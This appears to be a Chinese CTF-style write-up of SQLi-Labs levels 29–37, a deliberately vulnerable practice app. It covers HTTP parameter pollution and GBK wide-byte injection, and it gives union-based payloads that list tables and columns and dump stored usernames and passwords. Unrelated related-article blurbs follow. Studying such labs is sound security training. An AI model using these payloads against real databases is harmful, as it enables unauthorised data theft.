《SQLi-Labs》05. Less 29~37


title: 《SQLi-Labs》05. Less 29~37
date: 2024-01-17 22:49:10
updated: 2024-02-12 18:09:10
categories: WriteUp:Security-Lab
excerpt: HTTP 参数污染,联合注入、宽字节注入。
comments: false
tags:
top_image: /images/backimg/SunsetClimbing.png


SQLi-Labs

  • 索引
  • Less-29
    • 题解
    • 总结
  • Less-30
    • 题解
  • Less-31
    • 题解
  • Less-32
    • 题解
    • 总结
  • Less-33
    • 题解
  • Less-34
    • 题解
  • Less-35
    • 题解
  • Less-36
    • 题解
  • Less-37
    • 题解


靶场部署在 VMware - Win7。

靶场地址:https://github.com/Audi-1/sqli-labs

索引

  • Less-29:HTTP 参数污染。联合注入,字符型【'】。
  • Less-30:与 Less-29 相似。字符型【"】。
  • Less-31:与 Less-29 相似。字符型【")】。
  • Less-32:宽字节注入。联合注入,字符型【'】。
  • Less-33:与 Less-32 一样。
  • Less-34:原理与 Less-32 一样。post 形式,字符型【'】。
  • Less-35:原理与 Less-32 一样。数字型。
  • Less-36:与 Less-32 一样。
  • Less-37:与 Less-34 一样。

Less-29

在这里插入图片描述

题解

说有最好的防火墙。源码是判断传递的数据是否是数字。

这一题主要考察的是多个相同参数的解析问题。

例如 index.php?id=1&id=2,到底是解析 id=1 的数据还是解析 id=2 的?

这一关原本的思路是:

Less-29 就是会对输入的参数进行校验是否为数字,但是只提取第一个 id 值进行校验。
如果传递两个 id 参数,第一个 id 参数正常数字,第二个 id 参数进行 sql 注入即可。
其实第29关是用 jsp 搭建的服务器,所以建议在电脑中安装 Jspstudy 来安装 Jsp 的环境。
构造两个 id 参数,index.php?id=1&id=2,Apache PHP 会解析最后一个参数,Tomcat JSP 会解析第一个参数

明白了原理,直接上 payload。

爆表

?id=1&id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

爆字段

?id=1&id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+

爆敏感数据

?id=1&id=-1' union select 1,group_concat(password,username),3 from users--+

总结

多个相同参数解析漏洞(HPP,HTTP 参数污染)。

《HTTP 参数污染(HPP)》
https://zhuanlan.zhihu.com/p/635422411

Less-30

题解

原理与 Less-29 一样。字符型【"】

?id=1&id=-1" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

爆字段

?id=1&id=-1" union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+

爆敏感数据

?id=1&id=-1" union select 1,group_concat(password,username),3 from users--+

Less-31

题解

原理与 Less-29 一样。字符型【")】

?id=1&id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

爆字段

?id=1&id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+

爆敏感数据

?id=1&id=-1") union select 1,group_concat(password,username),3 from users--+

Less-32

题解

这题考察宽字节注入。

遇事不决看源码。

在这里插入图片描述

Less-32 使用 preg_replace() 函数将反斜杠【\】,单引号【'】、双引号【"】过滤了。如果输入 id=1" 会转义成 id=1\",使引号当作数据处理。

但是数据库使用了 gbk 编码。所以可以采用宽字节注入。同时可以对数据库表名进行 16 进制 ASCII 编码。

当某字符的大小为一个字节时,称其字符为窄字节。当某字符的大小为两个字节时,称其字符为宽字节。所有英文默认占一个字节,汉字占两个字节。

先上 payload。

爆库名

?id=-1%df' union select 1,database(),3 --+

MySQL 在使用 GBK 编码的时候,mysql 数据库会将 ASCII 大于等于128(%df)的字符当作是汉字字符的一部分(当作汉字处理),同时会认为两个字节为一个汉字,例如 %aa%5c 就是一个 汉字。

因为 urlencode(\') = %5c%27,如果在 %5c%27 前面添加 %df,形成 %df%5c%27,MySQL 就把 %df%5c 当做是一个汉字解析,%27(单引号【'】)则作为一个单独的符号。

爆表

?id=-1%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

爆字段

?id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=0x7573657273--+

对于宽字节注入,另一个影响在于爆字段时表名需要加引号,引号会被转义;但如果利用宽字节转义,会影响 payload 中的表名。

MySQL 支持十六进制表示法,可以使用 0x 前缀来表示十六进制数值。
例如:
where table_name='users' 等同于:
where table_name=0x7573657273

爆敏感数据

?id=-1%df' union select 1,group_concat(password,username),3 from users--+

在这里插入图片描述

总结

宽字节注入。

  • 常见的宽字节编码:
    • GB2312
    • GBK
    • GB18030
    • BIG5
  • MySQL 在使用 GBK 编码的时候,数据库会将 ASCII 大于等于 128(%df)的字符当作是汉字字符的一部分,即当作汉字处理,会认为两个字节为一个汉字,例如 %aa%5c 就是一个汉字。
  • 这种情况下如果想去掉 sql 语句中的一个字节,那么在想去的字节前加上一个 ASCII 大于等于 128(%df)的字节即可。加上的字节和想去掉的那个字节会被合起来解析为汉字(无论有没有对应的汉字)。
  • 例如 urlencode(\') = %5c%27,如果在 %5c%27 前面添加 %df,形成 %df%5c%27,MySQL 就把 %df%5c 当做是一个汉字解析,%27(单引号【'】)则作为一个单独的符号。

MySQL 特性:支持十六进制表示法。

  • MySQL 支持十六进制表示法,可以使用 0x 前缀来表示十六进制数值。
  • 例如:
  • WHERE table_name='users' 等同于 WHERE table_name=0x7573657273
  • WHERE column_name='Bob' 等同于 WHERE column_name=0x426f62

Less-33

题解

Less-33 使用 addslashes() 函数,作用是返回在预定义字符之前添加反斜杠的字符串。

payload 和 Less-32 一样。

Less-34

题解

原理与 Less-32 一样。只不过是 post 形式的宽字节注入。

payload:

爆表

-1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

爆字段

-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273-- a

爆敏感数据

1%df' union select 1,group_concat(password,1,username) from users -- a

在这里插入图片描述

Less-35

题解

原理与 Less-32 一样,宽字节注入。不过是数字型。

爆表

?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

爆字段

?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=0x7573657273--+

爆敏感数据

?id=-1 union select 1,group_concat(password,username),3 from users--+

Less-36

题解

payload 同 Less-32。

原理与 Less-32 一样,宽字节注入。只不过使用 mysql_real_escape_string 函数对特殊字符进行转义,作用与 Less-33 的 addslashes() 函数一样。

Less-37

题解

payload 与 Less-34 一样。原理同 Less-32,post 形式的宽字节注入。


松树千年终是朽,槿花一日自为荣。

——《放言五首 · 其五》(唐)白居易

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/466770.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2024年教师资格证认定报名完整流程

💚网上报名流程概览 一、进入教资认定网报入口; 二、进行实名核验; 三、申请网报时间查询; 四、个人信息维护; 五、认定申请报名; 💚认定所需材料 1、 身份证; 2 、户口本/居住证…

LayoutInflater源码解析及常见相关报错分析

在日常Android开发中,最经常使用的RecyclerView控件是大家都绕不开的,而编写其Adapter时更离不开LayoutInflater的调用。当然,如果你做这一行有些时日了,相信你对其使用一定是炉火纯青了。即使如此,我觉得LayoutInflat…

【COMP337 LEC2】

Association Pattern Mining 关联模式挖掘 Special case: Frequent Pattern Mining (binary data sets) 频繁模式挖掘 Given data matrix, identify all subsets of columns ( features ) such that at least a fraction of rows (objects ) in the matrix have all the featur…

雨云裸金属服务器

雨云服务器与裸金属服务器:云端与实体的完美交融 随着信息技术的迅猛发展,云服务已经成为企业和个人数据处理与存储的重要选择。其中,雨云服务器和裸金属服务器作为两种截然不同的服务形式,各自拥有独特的优势和应用场景。本文将深…

Solidworks:从2D走向3D

Sokidworks 的强大之处在于三维实体建模,这个形状看似复杂,实际上只需要拉伸一次,再做一次减法拉伸就行了。第一次做三维模型,费了不少时间才搞明白。 接下来做一个稍微复杂一点的模型,和上面这个操作差不多&#xff0…

Hive SQL编译成MapReduce任务的过程

一、 Hive 底层执行架构 Hive是Facebook实现的一个开源的数据仓库工具。 Hive基于Hadoop实现,底层数据存放HDFS,计算(查询)使用MapReduce任务实现将结构化的数据文件映射为数据库表,并提供HQL查询功能,将HQ…

Netty应用(九) 之 编解码器概念 Netty常见的编解码器

目录 22.编解码器 22.1 编解码的概念 22.2 netty中的编解码 22.3 序列化 23.编解码器在使用过程中的两部分核心内容 23.1 序列化协议(编码格式)(传输数据的格式) 23.1.1 Java默认的序列化与反序列化 23.1.2 XML的序列化与反…

Netty应用(十) 之 自定义编解码器 自定义通信协议

目录 25.自定义编解码器 25.1 自定义编解码器编码 25.2 自定义编解码器的总结和补充 26.自定义通信协议 26.1 关于通信协议的关注点 26.2 自定义通信协议的格式 26.3 编解码 25.自定义编解码器 有了上面这个大体框架的流程之后,我们来聊一个非常特殊的&#x…

《Linux 简易速速上手小册》第5章: 用户与群组管理(2024 最新版)

文章目录 5.1 管理用户账户5.1.1 重点基础知识5.1.2 重点案例:创建一个新的开发者账户5.1.3 拓展案例 1:禁用用户登录5.1.4 拓展案例 2:设置账户到期 5.2 群组概念与管理5.2.1 重点基础知识5.2.2 重点案例:为项目团队设置群组5.2.…

零售连锁门店管理软件有哪些好用?

在当今的零售行业中,随着连锁经营模式的普及和发展,对于高效、便捷的门店管理需求日益增加。一款好用的零售连锁门店管理软件,能够为商家提供全方位的解决方案,助力企业实现信息化管理,提升运营效率。那么,…

Github 2024-02-13 开源项目日报 Top9

根据Github Trendings的统计,今日(2024-02-13统计)共有9个项目上榜。根据开发语言中项目的数量,汇总情况如下: 开发语言项目数量JavaScript项目2Python项目2C项目2TypeScript项目2Rust项目1Go项目1Dart项目1Java项目1C项目1 系统设计指南 …

【lesson51】信号之信号处理

文章目录 信号处理可重入函数volatileSIGCHLD信号 信号处理 信号产生之后,信号可能无法被立即处理,一般在合适的时候处理。 1.在合适的时候处理(是什么时候?) 信号相关的数据字段都是在进程PCB内部。 而进程工作的状态…